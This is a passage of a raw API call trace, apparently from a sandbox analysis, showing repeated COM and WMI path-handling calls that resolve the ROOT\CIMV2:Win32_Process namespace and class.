[3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0128.610] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0128.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0128.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0128.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b483a70) returned 0x0 [0128.610] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483a70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.610] WbemDefPath:IUnknown:Release (This=0x1b483a70) returned 0x3 [0128.610] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0128.610] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0128.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0128.610] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0128.610] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0128.610] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0128.610] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af5e0) returned 0x0 [0128.610] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0128.610] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0128.610] WbemDefPath:IWbemPath:SetText (This=0x1b4af5e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0128.610] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0128.611] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4aef20) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af5e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af5e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0128.611] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aef20, uIndex=0x0, pszName="ROOT") returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af5e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af5e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0128.611] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aef20, uIndex=0x1, pszName="CIMV2") returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4aef20, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0128.611] WbemDefPath:IWbemPath:SetClassName (This=0x1b4aef20, Name="Win32_Process") returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aef20, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aef20, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0128.611] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0128.612] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0128.612] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0128.612] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0128.612] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0128.612] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.612] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b483bb0) returned 0x0 [0128.612] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483bb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0128.612] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483bb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af460) returned 0x0 [0128.613] WbemDefPath:IUnknown:Release (This=0x1b483bb0) returned 0x0 [0128.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4af460) returned 0x0 [0128.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0128.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0128.613] WbemDefPath:IUnknown:AddRef (This=0x1b4af460) returned 0x3 [0128.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0128.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0128.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b483c50) returned 0x0 [0128.613] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483c50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.613] WbemDefPath:IUnknown:Release (This=0x1b483c50) returned 0x3 [0128.613] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0128.613] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0128.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0128.613] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x2 [0128.613] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x1 [0128.613] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0128.613] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0128.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af460) returned 0x0 [0128.613] WbemDefPath:IUnknown:AddRef (This=0x1b4af460) returned 0x3 [0128.614] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x2 [0128.614] WbemDefPath:IWbemPath:SetText (This=0x1b4af460, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0128.614] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.614] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0128.614] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.614] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0128.614] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0128.614] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0128.614] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.614] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b483f70) returned 0x0 [0128.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483f70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0128.615] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483f70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b04e0) returned 0x0 [0128.615] WbemDefPath:IUnknown:Release (This=0x1b483f70) returned 0x0 [0128.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b04e0) returned 0x0 [0128.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0128.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0128.615] WbemDefPath:IUnknown:AddRef (This=0x1b4b04e0) returned 0x3 [0128.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0128.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0128.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b484150) returned 0x0 [0128.615] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b484150, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.615] WbemDefPath:IUnknown:Release (This=0x1b484150) returned 0x3 [0128.615] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0128.615] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0128.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0128.615] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x2 [0128.615] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x1 [0128.616] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0128.616] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b04e0) returned 0x0 [0128.616] WbemDefPath:IUnknown:AddRef (This=0x1b4b04e0) returned 0x3 [0128.616] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x2 [0128.616] WbemDefPath:IWbemPath:SetText (This=0x1b4b04e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b04e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0128.616] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af460) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b04e0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b04e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b04e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0128.616] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af460, uIndex=0x0, pszName="root") returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b04e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b04e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0128.616] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af460, uIndex=0x1, pszName="cimv2") returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b04e0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b04e0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af460, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af460, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af460, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.616] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0128.617] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0128.617] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.617] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=4, 